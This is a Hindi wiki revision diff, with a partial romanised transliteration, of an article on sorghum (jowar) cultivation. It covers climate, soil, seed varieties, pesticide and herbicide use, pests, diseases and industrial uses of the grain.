Difference between revisions of "ज्वार"
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− | [[चित्र:Sorghum-3.jpg|thumb| | + | [[चित्र:Sorghum-3.jpg|thumb|300px|ज्वार का खेत]] |
− | ''' | + | '''ज्वार''' विश्व की एक मोटे अनाज वाली महत्वपूर्ण फ़सल है। [[वर्षा]] आधारित [[कृषि]] के लिये ज्वार सबसे उपयुक्त फ़सल है। ज्वार फ़सल का दोहरा लाभ मिलता है। मानव आहार के साथ-साथ पशु आहार के रूप में इसकी अच्छी खपत होती है। ज्वार की फ़सल कम वर्षा में भी अच्छा उपज दे सकती है। एक ओर जहाँ ज्वार सूखे का सक्षमता से सामना कर सकती है, वहीं कुछ समय के लिये भूमि में जलमग्नता को भी सहन कर सकती है। ज्वार का पौधा अन्य अनाज वाली फ़सलों की अपेक्षा कम प्रकाश संश्लेशण एवं प्रति इकाई समय में अधिक शुष्क पदार्थ का निर्माण करता है। ज्वार की पानी उपयोग करने की क्षमता भी अन्य अनाज वाली फ़सलों की तुलना में अधिक है। वर्तमान समय में [[भारत]] में ज्वार की खेती [[मध्य प्रदेश]], [[उडीसा]], [[उत्तर प्रदेश]] तथा [[पंजाब]] राज्यों में बहुतायत में की जाती है। ज्वार के दाने का उपयोग उच्च गुणवत्ता वाला एल्कोहल बनाने में भी किया जाता हैं। |
==जलवायु== | ==जलवायु== | ||
ज्वार ऊष्ण जलवायु की फसल है, परन्तु शीघ्र पकने वाली जातियाँ ठन्डे प्रदेशों में भी गर्मी के दिनों में उगाई जा सकती है । ज्वार की फ़सल में बाली निकलते समय 30 डिग्री सेल्सियस से अधिक तापक्रम फ़सल के लिए हानिकारक हो सकता है।<ref name="mcc">{{cite web |url= http://sahuchhattisgarh.blogspot.com/2009/05/blog-post_6008.html|title= ज्वार|accessmonthday=11 अगस्त |accessyear=2011 |last=साहू |first=रामसुख |authorlink= |format=एच.टी.एम.एल. |publisher= कृषि छत्तीसगढ़ |language=[[हिन्दी]] }}</ref> | ज्वार ऊष्ण जलवायु की फसल है, परन्तु शीघ्र पकने वाली जातियाँ ठन्डे प्रदेशों में भी गर्मी के दिनों में उगाई जा सकती है । ज्वार की फ़सल में बाली निकलते समय 30 डिग्री सेल्सियस से अधिक तापक्रम फ़सल के लिए हानिकारक हो सकता है।<ref name="mcc">{{cite web |url= http://sahuchhattisgarh.blogspot.com/2009/05/blog-post_6008.html|title= ज्वार|accessmonthday=11 अगस्त |accessyear=2011 |last=साहू |first=रामसुख |authorlink= |format=एच.टी.एम.एल. |publisher= कृषि छत्तीसगढ़ |language=[[हिन्दी]] }}</ref> | ||
====भूमि का चुनाव==== | ====भूमि का चुनाव==== | ||
मटियार, दोमट या मध्यम गहरी भूमि, पर्याप्त जीवाश्म तथा भूमि का 6.0 से 8.0 पी.एच. ज्वार के लिये सर्वाधिक उपयुक्त पाया गया है। खेत में पानी का निकास अच्छा होना चाहिये। गर्मी के समय खेत की गहरी जुताई भूमि उर्वरकता, खरपतवार, रोग एवं कीट नियंत्रण की दृष्टि से आवश्यक है। खेत को ट्रैक्टर से चलने वाले कल्टीवेटर या बैल जोड़ी से चलने वाले बखर से जुताई कर ज़मीन को अच्छी तरह भुरभुरी कर पाटा चलाकर बोनी हेतु तैयार करना चाहिए। | मटियार, दोमट या मध्यम गहरी भूमि, पर्याप्त जीवाश्म तथा भूमि का 6.0 से 8.0 पी.एच. ज्वार के लिये सर्वाधिक उपयुक्त पाया गया है। खेत में पानी का निकास अच्छा होना चाहिये। गर्मी के समय खेत की गहरी जुताई भूमि उर्वरकता, खरपतवार, रोग एवं कीट नियंत्रण की दृष्टि से आवश्यक है। खेत को ट्रैक्टर से चलने वाले कल्टीवेटर या बैल जोड़ी से चलने वाले बखर से जुताई कर ज़मीन को अच्छी तरह भुरभुरी कर पाटा चलाकर बोनी हेतु तैयार करना चाहिए। | ||
+ | ;मिट्टी | ||
+ | ज्वार के लिए उपजाऊ [[जलोढ़ मिट्टी|जलोढ़]] अथवा चिकनी मिट्टी काफ़ी उपयुक्त होती है, किन्तु लाल, पीली, हल्की एवं भारी दोमट तथा बलुई मिट्टियों में भी इसकी कृषि की जाती है। | ||
==किस्म व बीज== | ==किस्म व बीज== | ||
ज्वार की खेती के लिए उपयुक्त अनुशंसित किस्मों का चुनाव करना चाहिए। किसी भी क्षेत्र के लिए अनुमोदित किस्मों का बीज ही बोया जाना चाहिए। जहाँ तक संभव हो प्रमाणित संस्थाओं के ही बीज का उपयोग करना उचित रहता है, या उन्नत किस्मों का स्वयं का बनाया हुआ बीज ही प्रयोग में लाना चाहिए। ज्वार की संकर किस्म वह होती है, जिसका बीज दो अंत:प्रजात किस्मों के संकरण से बनाया जाता है। बोने के लिये प्रति वर्ष नया संकर बीज उपयोग में लाना आवश्यक होता है। संकर जातियॉं सी.एस.एच.14, सी.एस.एच.16, सी.एस.एच.17 तथा सी.एस.एच.18 किसानों के बोने के लिये उपयुक्त हैं। विपुल उत्पादन देने वाली किस्मों का विकास दो अथवा अधिक किस्मों से संकरण के बाद ही पीढि़यों से चयनित श्रेष्ठ पौधों से किया जाता है। इन किस्मों के खेतों से किसान स्वयं सही लक्षण वाले 3000-4000 भूट्टो को छांटकर रखें और अगले वर्ष बीज के रूप में उपयोग में ला सकते हैं। प्रति वर्ष नया बीज ख़रीदना आवश्यक नहीं है। | ज्वार की खेती के लिए उपयुक्त अनुशंसित किस्मों का चुनाव करना चाहिए। किसी भी क्षेत्र के लिए अनुमोदित किस्मों का बीज ही बोया जाना चाहिए। जहाँ तक संभव हो प्रमाणित संस्थाओं के ही बीज का उपयोग करना उचित रहता है, या उन्नत किस्मों का स्वयं का बनाया हुआ बीज ही प्रयोग में लाना चाहिए। ज्वार की संकर किस्म वह होती है, जिसका बीज दो अंत:प्रजात किस्मों के संकरण से बनाया जाता है। बोने के लिये प्रति वर्ष नया संकर बीज उपयोग में लाना आवश्यक होता है। संकर जातियॉं सी.एस.एच.14, सी.एस.एच.16, सी.एस.एच.17 तथा सी.एस.एच.18 किसानों के बोने के लिये उपयुक्त हैं। विपुल उत्पादन देने वाली किस्मों का विकास दो अथवा अधिक किस्मों से संकरण के बाद ही पीढि़यों से चयनित श्रेष्ठ पौधों से किया जाता है। इन किस्मों के खेतों से किसान स्वयं सही लक्षण वाले 3000-4000 भूट्टो को छांटकर रखें और अगले वर्ष बीज के रूप में उपयोग में ला सकते हैं। प्रति वर्ष नया बीज ख़रीदना आवश्यक नहीं है। | ||
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====बीज उपचार==== | ====बीज उपचार==== | ||
बीजोपचार के दौरान फफूँद नाशक दवा 'थायरम' 3 ग्राम, प्रति किलो ग्राम बीज के हिसाब से उपचारित करना चाहिये। फफूँद नाशक दवा से उपचार के उपरांत एवं बोनी के पूर्व 10 ग्राम 'एजोस्प्रिलियम' एवं 'पी.एस.बी.' कल्चर का उपयोग प्रति किलोग्राम बीज के हिसाब से अच्छी तरह मिलाकर किया जाता है। कल्चर के उपयोग से ज्वार की उपज में आंशिक वृद्धि पाई गई है। उपचारित बीज को [[धूप]] से बचाकर रखें तथा बुवाई शीघ्रता से कर देनी चाहिए। अधिक उत्पादन प्राप्त करने हेतु ज्वार की विपुल उत्पादन देने वाली जातियों तथा संकर जातियों में पौध संख्या 1,80,000 (एक लाख अस्सी हज़ार) प्रति हेक्टेयर रखी जाती है। बीज को कतारों में 45 सेमी. दूरी पर बोया जाता है। पौधों से पौधों का अंतर 12 सेमी. रखें। द्विउद्द्धेशीय (दाना एवं कड़बी) वाली नई किस्मों जैसे 'जवाहर ज्वार 1022', 'जवाहर ज्वार 1041' एवं 'सी.एच.एस. 18' की पौध संख्या दो लाख दस हज़ार प्रति हेक्टेयर रखना चाहिए। यह पौध संख्या फ़सल को कतारों से कतारों की दूरी 45 सेमी. एवं पौधे से पौधे की दूरी 10 सेमी. पर रखकर प्राप्त की जा सकती है।<ref name="mcc"/> | बीजोपचार के दौरान फफूँद नाशक दवा 'थायरम' 3 ग्राम, प्रति किलो ग्राम बीज के हिसाब से उपचारित करना चाहिये। फफूँद नाशक दवा से उपचार के उपरांत एवं बोनी के पूर्व 10 ग्राम 'एजोस्प्रिलियम' एवं 'पी.एस.बी.' कल्चर का उपयोग प्रति किलोग्राम बीज के हिसाब से अच्छी तरह मिलाकर किया जाता है। कल्चर के उपयोग से ज्वार की उपज में आंशिक वृद्धि पाई गई है। उपचारित बीज को [[धूप]] से बचाकर रखें तथा बुवाई शीघ्रता से कर देनी चाहिए। अधिक उत्पादन प्राप्त करने हेतु ज्वार की विपुल उत्पादन देने वाली जातियों तथा संकर जातियों में पौध संख्या 1,80,000 (एक लाख अस्सी हज़ार) प्रति हेक्टेयर रखी जाती है। बीज को कतारों में 45 सेमी. दूरी पर बोया जाता है। पौधों से पौधों का अंतर 12 सेमी. रखें। द्विउद्द्धेशीय (दाना एवं कड़बी) वाली नई किस्मों जैसे 'जवाहर ज्वार 1022', 'जवाहर ज्वार 1041' एवं 'सी.एच.एस. 18' की पौध संख्या दो लाख दस हज़ार प्रति हेक्टेयर रखना चाहिए। यह पौध संख्या फ़सल को कतारों से कतारों की दूरी 45 सेमी. एवं पौधे से पौधे की दूरी 10 सेमी. पर रखकर प्राप्त की जा सकती है।<ref name="mcc"/> | ||
− | [[चित्र:Sorghum-2.jpg|thumb | + | [[चित्र:Sorghum-2.jpg|thumb|ज्वार के दाने]] |
*अंकुरण के बाद पौधे जब 8 से 10 दिन के हो तब विरलन करते समय कतारों में 10 से 12 सेमी. की दूरी पर एक स्वस्थ पौधा रखा जाता है। शेष सभी पौधे निकाल दिये जाते हैं। उसके पश्चात यदि हल्की [[वर्षा]] हो रही हो, तो इस समय जहाँ पौध नहीं हो, वहाँ पर दूसरा पौधा रोपा जा सकता है। सही जातियों का चुनाव, सही समय पर बोनी, उचित समय पर पौध विरलन तथा सही पौध संख्या रखना कम लागत ख़र्च से अधिक उत्पादन प्राप्त करने की तकनीक है। | *अंकुरण के बाद पौधे जब 8 से 10 दिन के हो तब विरलन करते समय कतारों में 10 से 12 सेमी. की दूरी पर एक स्वस्थ पौधा रखा जाता है। शेष सभी पौधे निकाल दिये जाते हैं। उसके पश्चात यदि हल्की [[वर्षा]] हो रही हो, तो इस समय जहाँ पौध नहीं हो, वहाँ पर दूसरा पौधा रोपा जा सकता है। सही जातियों का चुनाव, सही समय पर बोनी, उचित समय पर पौध विरलन तथा सही पौध संख्या रखना कम लागत ख़र्च से अधिक उत्पादन प्राप्त करने की तकनीक है। | ||
==खाद एवं उर्वरक== | ==खाद एवं उर्वरक== | ||
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====खरपतवार नियंत्रण==== | ====खरपतवार नियंत्रण==== | ||
ज्वार फ़सल में खरपतवार नियंत्रण हेतु कतारों के बीच 'व्हील हो' या 'डोरा', बोनी के 15-20 दिन बाद एवं 30-35 दिन बाद चलायें। इसके पश्चात कतारों के अंदर हाथों द्वारा निराई करें। संभव हो तो कुल्पे के दांते में रस्सी बांधकर पौधों पर मिट्टी चढ़ा देनी चाहिए। रासायनिक नियंत्रण में 'एट्राजीन' 0.5-1.0 किलोग्राम प्रति हेक्टेयर सक्रिय [[तत्त्व]] अथवा 'एलाक्लोर' 1.5 किलोग्राम सक्रिय तत्व को 500 लीटर [[जल]] में मिलाकर बोनी के पश्चात एवं अंकुरण के पूर्व छिड़कना चाहिए। अंगिया ग्रस्त खेत में ज्वार के अनुकूल मौसम होने पर भी भुट्टे में दाने नहीं भरते हैं। निंदानाशक दवाओं के छिड़काव से अंगिया की रोकथाम की जा सकती है। जब अंगिया की संख्या सीमित होती है तब अगिया को उखाड़कर नष्ट किया जा सकता है।<ref name="mcc"/> | ज्वार फ़सल में खरपतवार नियंत्रण हेतु कतारों के बीच 'व्हील हो' या 'डोरा', बोनी के 15-20 दिन बाद एवं 30-35 दिन बाद चलायें। इसके पश्चात कतारों के अंदर हाथों द्वारा निराई करें। संभव हो तो कुल्पे के दांते में रस्सी बांधकर पौधों पर मिट्टी चढ़ा देनी चाहिए। रासायनिक नियंत्रण में 'एट्राजीन' 0.5-1.0 किलोग्राम प्रति हेक्टेयर सक्रिय [[तत्त्व]] अथवा 'एलाक्लोर' 1.5 किलोग्राम सक्रिय तत्व को 500 लीटर [[जल]] में मिलाकर बोनी के पश्चात एवं अंकुरण के पूर्व छिड़कना चाहिए। अंगिया ग्रस्त खेत में ज्वार के अनुकूल मौसम होने पर भी भुट्टे में दाने नहीं भरते हैं। निंदानाशक दवाओं के छिड़काव से अंगिया की रोकथाम की जा सकती है। जब अंगिया की संख्या सीमित होती है तब अगिया को उखाड़कर नष्ट किया जा सकता है।<ref name="mcc"/> | ||
− | == | + | ==औद्यौगिक फ़सल== |
− | औद्यौगिक फ़सल== | ||
सफ़ेद ज्वार के आटे से ब्रेड, बिस्किट एवं केक बनाये जा सकते हैं। ज्वार के आटे के स्वाभाविक रूप से मीठा होने के कारण चीनी की मात्रा कम रखकर मधुमेह रोगियों के लिए अच्छा स्नैक तैयार किया जा सकता है। ब्रेड बनाने के लिए ज्वार और [[गेहूँ]] के आटे की मात्रा 60 प्रतिशत + 40 प्रतिशत रखी जाती है। इसके अतिरिक्त सामान्य रूप से बीयर, जौ, [[मक्का|मकई]] अथवा धान से तैयार की जाती है, परन्तु ज्वार के अनाज से भी स्वादिष्ट एवं सुगंधित बीयर बनाई जा सकती है, जो अन्य धान्य से बनाई बीयर से सस्ती पड़ती है। ज्वार से बनाये जाने वाली बीयर के उपयोग में बढ़ोतरी से ज्वार की औद्यौगिक माँग बढ जायेगी। | सफ़ेद ज्वार के आटे से ब्रेड, बिस्किट एवं केक बनाये जा सकते हैं। ज्वार के आटे के स्वाभाविक रूप से मीठा होने के कारण चीनी की मात्रा कम रखकर मधुमेह रोगियों के लिए अच्छा स्नैक तैयार किया जा सकता है। ब्रेड बनाने के लिए ज्वार और [[गेहूँ]] के आटे की मात्रा 60 प्रतिशत + 40 प्रतिशत रखी जाती है। इसके अतिरिक्त सामान्य रूप से बीयर, जौ, [[मक्का|मकई]] अथवा धान से तैयार की जाती है, परन्तु ज्वार के अनाज से भी स्वादिष्ट एवं सुगंधित बीयर बनाई जा सकती है, जो अन्य धान्य से बनाई बीयर से सस्ती पड़ती है। ज्वार से बनाये जाने वाली बीयर के उपयोग में बढ़ोतरी से ज्वार की औद्यौगिक माँग बढ जायेगी। | ||
+ | ==उत्पादक क्षेत्र== | ||
+ | ज्वार का सबसे बड़ा उत्पादक राज्य [[महाराष्ट्र]] है। इसके बाद द्वितीय स्थान [[कर्नाटक]] एवं तृतीय स्थान [[मध्य प्रदेश]] का है। इसके अलावा [[आन्ध्र प्रदेश]], [[तमिलनाडु]], [[उत्तर प्रदेश]], [[गुजरात]] इत्यादि राज्यों में भी इसकी कृषि की जाती है। 2006-07 के दौरान 74 लाख टन ज्वार का उत्पादन हुआ। | ||
==फ़सल के प्रमुख कीट== | ==फ़सल के प्रमुख कीट== | ||
ज्वार की फ़सल में अनेक प्रकार के कीट पाए जाते हैं। इनमें प्रमुख है, तना छेदक मक्खी, तना छेदक इल्ली और भुट्टों के कीट। मुख्यत: मिज मक्खी अधिक हानि पहुँचाती है। | ज्वार की फ़सल में अनेक प्रकार के कीट पाए जाते हैं। इनमें प्रमुख है, तना छेदक मक्खी, तना छेदक इल्ली और भुट्टों के कीट। मुख्यत: मिज मक्खी अधिक हानि पहुँचाती है। | ||
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*'''नियंत्रण''' - यदि बोनी [[वर्षा]] के आगमन के पूर्व अथवा वर्षा के आरंभ के एक सप्ताह में कर ली जाये, तो इस कीट से हानि कम होती है। बीजोत्पादन क्षेत्र में बोनी के समय बीज के नीचे 'फोरेट' 10 प्रतिशत अथवा 'कार्बोफयुरान' 3 प्रतिशत दानेदार कीट नाशक 12 से 15 किलोग्राम प्रति हेक्टेयर के हिसाब से दें। | *'''नियंत्रण''' - यदि बोनी [[वर्षा]] के आगमन के पूर्व अथवा वर्षा के आरंभ के एक सप्ताह में कर ली जाये, तो इस कीट से हानि कम होती है। बीजोत्पादन क्षेत्र में बोनी के समय बीज के नीचे 'फोरेट' 10 प्रतिशत अथवा 'कार्बोफयुरान' 3 प्रतिशत दानेदार कीट नाशक 12 से 15 किलोग्राम प्रति हेक्टेयर के हिसाब से दें। | ||
====तना छेदक इल्ली==== | ====तना छेदक इल्ली==== | ||
− | [[चित्र:Sorghum | + | [[चित्र:Sorghum.jpg|thumb|ज्वार]] |
इस कीट की वयस्क मादा मक्खी पत्तों की निचली सतह पर 10 से लेकर 80 के गुच्छों में अंडे देती है, जिससे 4 से 5 दिनों में इल्लियाँ निकलकर पत्तों के पोंगलों में प्रवेश करती हैं। तनों के अंदर में सुरंग बनाती हैं और अंतत: नाड़ा बनाती हैं। इस कीट की पहचान पत्तों में बने छेदों से की जा सकती है, जो इल्लियाँ पोंगलों में प्रवेश के समय बनाती हैं।<ref name="mcc"/> | इस कीट की वयस्क मादा मक्खी पत्तों की निचली सतह पर 10 से लेकर 80 के गुच्छों में अंडे देती है, जिससे 4 से 5 दिनों में इल्लियाँ निकलकर पत्तों के पोंगलों में प्रवेश करती हैं। तनों के अंदर में सुरंग बनाती हैं और अंतत: नाड़ा बनाती हैं। इस कीट की पहचान पत्तों में बने छेदों से की जा सकती है, जो इल्लियाँ पोंगलों में प्रवेश के समय बनाती हैं।<ref name="mcc"/> | ||
− | *'''नियंत्रण''' - पौधे जब 25-35 दिनों की अवस्था के हों, तब पत्तों के पोंगलों में 'कार्बोफ्युरान' 3 प्रतिशत दानेदार कीट नाशक के 5 से 6 दाने प्रति पौधे की मात्रा में डालें। लगभग 8 से 10 किलोग्राम कीटनाशक एक हेक्टेयर के लिये लगता है। दानेदार कीट नाशक महंगे हैं, अत: इस कीट की संतोषजनक रोकथाम 'इंडोसल्फान' 4 प्रतिशत अथवा 'क्यूनालफास' 1.5 प्रतिशत चूर्ण का देना पोंगलों में भुरकाव द्वारा देना संभव है। यदि तना छेदक इल्ली का नियंत्रण फ़सल की प्रारंभिक अवस्था में न किया जाये, तो भुट्टो के डंठलों में इल्लियाँ प्रवेश कर सुरंग बनाती हैं। परिणामस्वरूप भुट्टो में बढ़ते हुये दानों को पर्याप्त मात्रा में [[जल]] तथा पोषक तत्व उपलब्ध नहीं हो पाता है। ऐसे भुट्टो में दाने आकार में छोटे रह जाते हैं अथवा अनेक बार दाने नहीं बन पाते हैं। | + | *'''नियंत्रण''' - पौधे जब 25-35 दिनों की अवस्था के हों, तब पत्तों के पोंगलों में 'कार्बोफ्युरान' 3 प्रतिशत दानेदार कीट नाशक के 5 से 6 दाने प्रति पौधे की मात्रा में डालें। लगभग 8 से 10 किलोग्राम [[कीटनाशक]] एक हेक्टेयर के लिये लगता है। दानेदार कीट नाशक महंगे हैं, अत: इस कीट की संतोषजनक रोकथाम 'इंडोसल्फान' 4 प्रतिशत अथवा 'क्यूनालफास' 1.5 प्रतिशत चूर्ण का देना पोंगलों में भुरकाव द्वारा देना संभव है। यदि तना छेदक इल्ली का नियंत्रण फ़सल की प्रारंभिक अवस्था में न किया जाये, तो भुट्टो के डंठलों में इल्लियाँ प्रवेश कर सुरंग बनाती हैं। परिणामस्वरूप भुट्टो में बढ़ते हुये दानों को पर्याप्त मात्रा में [[जल]] तथा पोषक तत्व उपलब्ध नहीं हो पाता है। ऐसे भुट्टो में दाने आकार में छोटे रह जाते हैं अथवा अनेक बार दाने नहीं बन पाते हैं। |
====भुट्टो के कीट==== | ====भुट्टो के कीट==== | ||
मीज मक्खी कीट का प्रकोप [[महाराष्ट्र]] से लगे ज़िलों में अधिक देखा जाता है। सामान्यत: [[तापमान]] जब गिरने लगता है, तब कीट दिखाई देता है। इस कीट की वयस्क मादा मक्खी [[नारंगी रंग]] या [[लाल रंग]] की होती है, जो फूलों के अंदर अंडे देती है। अंडों से 2 से 3 दिन में इल्लियाँ निकलकर फूलों के अंडकोषों को खाकर नष्ट करती हैं। परिणामस्वरूप भुट्टो में कई जगह दाने नहीं बन पाते। अन्य कीटों की इल्लियाँ भुट्टों में जाले बनाती हैं अथवा बढ़ते हुये दाने खाकर नष्ट करती हैं। कुछ रस चूसक कीट दानों से रस चूस लेते हैं। | मीज मक्खी कीट का प्रकोप [[महाराष्ट्र]] से लगे ज़िलों में अधिक देखा जाता है। सामान्यत: [[तापमान]] जब गिरने लगता है, तब कीट दिखाई देता है। इस कीट की वयस्क मादा मक्खी [[नारंगी रंग]] या [[लाल रंग]] की होती है, जो फूलों के अंदर अंडे देती है। अंडों से 2 से 3 दिन में इल्लियाँ निकलकर फूलों के अंडकोषों को खाकर नष्ट करती हैं। परिणामस्वरूप भुट्टो में कई जगह दाने नहीं बन पाते। अन्य कीटों की इल्लियाँ भुट्टों में जाले बनाती हैं अथवा बढ़ते हुये दाने खाकर नष्ट करती हैं। कुछ रस चूसक कीट दानों से रस चूस लेते हैं। | ||
− | *'''नियंत्रण''' - खेत में जब 90 प्रतिशत पौधों में भुट्टे पोटों से बाहर निकल आयें, तब भुट्टों पर 'इण्डोसल्फ़ान' 35 ई.सी. (1 लीटर प्रति हेक्टेयर) अथवा 'मेलाथियान' 50 ई.सी. (1 लीटर प्रति हेक्टेयर) तरल कीट नाशक को 500-600 लीटर पानी में मिलाकर छिड़काव करें। आवश्यकता होने पर 10-15 दिनों बाद छिड़काव दोहराया जाना चाहिए। यदि तरल कीटनाशक उपलब्ध न हो, तो 'इण्डोसल्फ़ान' 4 प्रतिशत अथवा 'मेलाथियान' 5 प्रतिशत चूर्ण का भुरकाव 12 से 15 किलोग्राम प्रति हेक्टेयर की दर से उपयोग किया जाता है। | + | *'''नियंत्रण''' - खेत में जब 90 प्रतिशत पौधों में भुट्टे पोटों से बाहर निकल आयें, तब भुट्टों पर 'इण्डोसल्फ़ान' 35 ई.सी. (1 लीटर प्रति हेक्टेयर) अथवा 'मेलाथियान' 50 ई.सी. (1 लीटर प्रति हेक्टेयर) तरल कीट नाशक को 500-600 लीटर पानी में मिलाकर छिड़काव करें। आवश्यकता होने पर 10-15 दिनों बाद छिड़काव दोहराया जाना चाहिए। यदि तरल [[कीटनाशक]] उपलब्ध न हो, तो 'इण्डोसल्फ़ान' 4 प्रतिशत अथवा 'मेलाथियान' 5 प्रतिशत चूर्ण का भुरकाव 12 से 15 किलोग्राम प्रति हेक्टेयर की दर से उपयोग किया जाता है। |
==रोग== | ==रोग== | ||
+ | [[चित्र:Sorghum-1.jpg|thumb|ज्वार]] | ||
ज्वार की देसी किस्मों के पत्तों पर अनेक प्रकार के चित्तिदार पर्ण रोग देखे जा सकते हैं, परंतु संकर किस्मों और नई उन्नत किस्मों के पत्तों पर पर्ण चित्ती रोग कम दिखाई देते हैं, क्योंकि उनमें इन रोगों के लिए प्रतिरोधिक क्षमता या आनुवाशिक गुण होता है। 'कंडवा रोग' भी नई किस्मों में नहीं दिखाई देता है। पौध सड़न अथवा कंडवा का नियंत्रण बीज को [[कवक]] को नाश करने वाली दवा से उपचारित करने से संभव है। चूंकि ज्वार की नई किस्में लगभग 95 से 110 दिनों में पकती है, दाने पकने की अवस्था में वर्षा होने से दानों पर [[काला रंग|काली]] अथवा [[गुलाबी रंग]] की फफूंद की बढ़वार दिखाई देती है। दाने बेकार हो जाते हैं, उनकी अंकुरण क्षमता कम हो जाती है और मानव आहार के लिये ऐसे दाने उपयुक्त नहीं होते हैं।<ref name="mcc"/> | ज्वार की देसी किस्मों के पत्तों पर अनेक प्रकार के चित्तिदार पर्ण रोग देखे जा सकते हैं, परंतु संकर किस्मों और नई उन्नत किस्मों के पत्तों पर पर्ण चित्ती रोग कम दिखाई देते हैं, क्योंकि उनमें इन रोगों के लिए प्रतिरोधिक क्षमता या आनुवाशिक गुण होता है। 'कंडवा रोग' भी नई किस्मों में नहीं दिखाई देता है। पौध सड़न अथवा कंडवा का नियंत्रण बीज को [[कवक]] को नाश करने वाली दवा से उपचारित करने से संभव है। चूंकि ज्वार की नई किस्में लगभग 95 से 110 दिनों में पकती है, दाने पकने की अवस्था में वर्षा होने से दानों पर [[काला रंग|काली]] अथवा [[गुलाबी रंग]] की फफूंद की बढ़वार दिखाई देती है। दाने बेकार हो जाते हैं, उनकी अंकुरण क्षमता कम हो जाती है और मानव आहार के लिये ऐसे दाने उपयुक्त नहीं होते हैं।<ref name="mcc"/> | ||
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==संबंधित लेख== | ==संबंधित लेख== | ||
{{कृषि}} | {{कृषि}} | ||
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[[Category:भूगोल कोश]] | [[Category:भूगोल कोश]] | ||
+ | [[Category:वनस्पति]] | ||
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Latest revision as of 12:09, 15 June 2014
thumb|300px|jvar ka khet jvar vishhv ki ek mote anaj vali mahathvapoorn fasal hai. varsha adharit krishi ke liye jhvar sabase upayukht fasal hai. jhvar fasal ka dohara labh milata hai. manav ahar ke sath-sath pashu ahar ke roop mean isaki achhchhi khapat hoti hai. jhvar ki fasal kam varsha mean bhi achhchha upaj de sakati hai. ek or jahaan jhvar sookhe ka sakshamata se samana kar sakati hai, vahian kuchh samay ke liye bhoomi mean jalamaghnata ko bhi sahan kar sakati hai. jhvar ka paudha anhy anaj vali fasaloan ki apeksha kam prakash sanshhleshan evan prati ikaee samay mean adhik shushhk padarth ka nirman karata hai. jhvar ki pani upayog karane ki kshamata bhi anhy anaj vali fasaloan ki tulana mean adhik hai. vartaman samay mean bharat mean jvar ki kheti madhy pradesh, udisa, uttar pradesh tatha panjab rajyoan mean bahutayat mean ki jati hai. jhvar ke dane ka upayog uchhch gunavathta vala elhkohal banane mean bhi kiya jata haian.
jalavayu
jvar ooshn jalavayu ki phasal hai, parantu shighr pakane vali jatiyaan thande pradeshoan mean bhi garmi ke dinoan mean ugaee ja sakati hai . jvar ki fasal mean bali nikalate samay 30 digri selsiyas se adhik tapakram fasal ke lie hanikarak ho sakata hai.[1]
bhoomi ka chunav
matiyar, domat ya madhhyam gahari bhoomi, paryapht jivashhm tatha bhoomi ka 6.0 se 8.0 pi.ech. jvar ke liye sarvadhik upayukht paya gaya hai. khet mean pani ka nikas achhchha hona chahiye. garmi ke samay khet ki gahari jutaee bhoomi urvarakata, kharapatavar, rog evan kit niyantran ki drishti se avashhyak hai. khet ko traikhtar se chalane vale kalhtivetar ya bail jo di se chalane vale bakhar se jutaee kar zamin ko achhchhi tarah bhurabhuri kar pata chalakar boni hetu taiyar karana chahie.
- mitti
jhvar ke lie upajaoo jalodh athava chikani mitti kafi upayukt hoti hai, kintu lal, pili, halki evan bhari domat tatha baluee mittiyoan mean bhi isaki krishi ki jati hai.
kishm v bij
jvar ki kheti ke lie upayukht anushansit kishmoan ka chunav karana chahie. kisi bhi kshetr ke lie anumodit kishmoan ka bij hi boya jana chahie. jahaan tak sanbhav ho pramanit sanshthaoan ke hi bij ka upayog karana uchit rahata hai, ya unhnat kishmoan ka shvayan ka banaya hua bij hi prayog mean lana chahie. jvar ki sankar kishm vah hoti hai, jisaka bij do aant:prajat kishmoan ke sankaran se banaya jata hai. bone ke liye prati varsh naya sankar bij upayog mean lana avashhyak hota hai. sankar jatiy aauan si.es.ech.14, si.es.ech.16, si.es.ech.17 tatha si.es.ech.18 kisanoan ke bone ke liye upayukht haian. vipul uthpadan dene vali kishmoan ka vikas do athava adhik kishmoan se sankaran ke bad hi pidhi़yoan se chayanit shreshhth paudhoan se kiya jata hai. in kishmoan ke khetoan se kisan shvayan sahi lakshan vale 3000-4000 bhootto ko chhaantakar rakhean aur agale varsh bij ke roop mean upayog mean la sakate haian. prati varsh naya bij kharidana avashhyak nahian hai.
bij upachar
bijopachar ke dauran phaphooand nashak dava 'thayaram' 3 gram, prati kilo gram bij ke hisab se upacharit karana chahiye. phaphooand nashak dava se upachar ke uparaant evan boni ke poorv 10 gram 'ejospriliyam' evan 'pi.es.bi.' kalhchar ka upayog prati kilogram bij ke hisab se achhchhi tarah milakar kiya jata hai. kalhchar ke upayog se jhvar ki upaj mean aanshik vriddhi paee gee hai. upacharit bij ko dhoop se bachakar rakhean tatha buvaee shighrata se kar deni chahie. adhik uthpadan prapht karane hetu jhvar ki vipul uthpadan dene vali jatiyoan tatha sankar jatiyoan mean paudh sankhhya 1,80,000 (ek lakh ashsi hazar) prati hekhteyar rakhi jati hai. bij ko kataroan mean 45 semi. doori par boya jata hai. paudhoan se paudhoan ka aantar 12 semi. rakhean. dviudddheshiy (dana evan k dabi) vali nee kishmoan jaise 'javahar jhvar 1022', 'javahar jhvar 1041' evan 'si.ech.es. 18' ki paudh sankhhya do lakh das hazar prati hekhteyar rakhana chahie. yah paudh sankhhya fasal ko kataroan se kataroan ki doori 45 semi. evan paudhe se paudhe ki doori 10 semi. par rakhakar prapht ki ja sakati hai.[1] thumb|jvar ke dane
- aankuran ke bad paudhe jab 8 se 10 din ke ho tab viralan karate samay kataroan mean 10 se 12 semi. ki doori par ek shvashth paudha rakha jata hai. shesh sabhi paudhe nikal diye jate haian. usake pashhchat yadi halhki varsha ho rahi ho, to is samay jahaan paudh nahian ho, vahaan par doosara paudha ropa ja sakata hai. sahi jatiyoan ka chunav, sahi samay par boni, uchit samay par paudh viralan tatha sahi paudh sankhhya rakhana kam lagat kharch se adhik uthpadan prapht karane ki takanik hai.
khad evan urvarak
